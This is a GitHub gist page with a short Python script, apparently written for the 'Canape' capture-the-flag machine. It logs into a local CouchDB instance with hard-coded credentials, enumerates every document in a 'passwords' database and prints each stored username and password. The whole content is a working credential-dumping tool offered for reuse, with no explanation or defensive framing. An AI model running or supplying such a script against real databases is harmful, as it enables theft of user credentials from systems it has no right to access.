Skip to content

Instantly share code, notes, and snippets.

@Ge0rg3
Created September 14, 2018 22:04
Show Gist options
  • Save Ge0rg3/e964bf9898c14f12194efd2e05fc83c0 to your computer and use it in GitHub Desktop.
Save Ge0rg3/e964bf9898c14f12194efd2e05fc83c0 to your computer and use it in GitHub Desktop.
Used for grabbing usernames/passwords from a CouchDB database.
###Retrieves passwords for Canape CouchDB Users
import requests as rq
url = "http://george:george@localhost:5984/passwords/"
alldocs = rq.get(url+"_all_docs").json()
for i in alldocs["rows"]:
entry_id = str(i["id"])
ret = rq.get(url+entry_id).json()
print("###\nUsername: "+str(ret["user"])+"\nPassword: "+str(ret["password"]))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment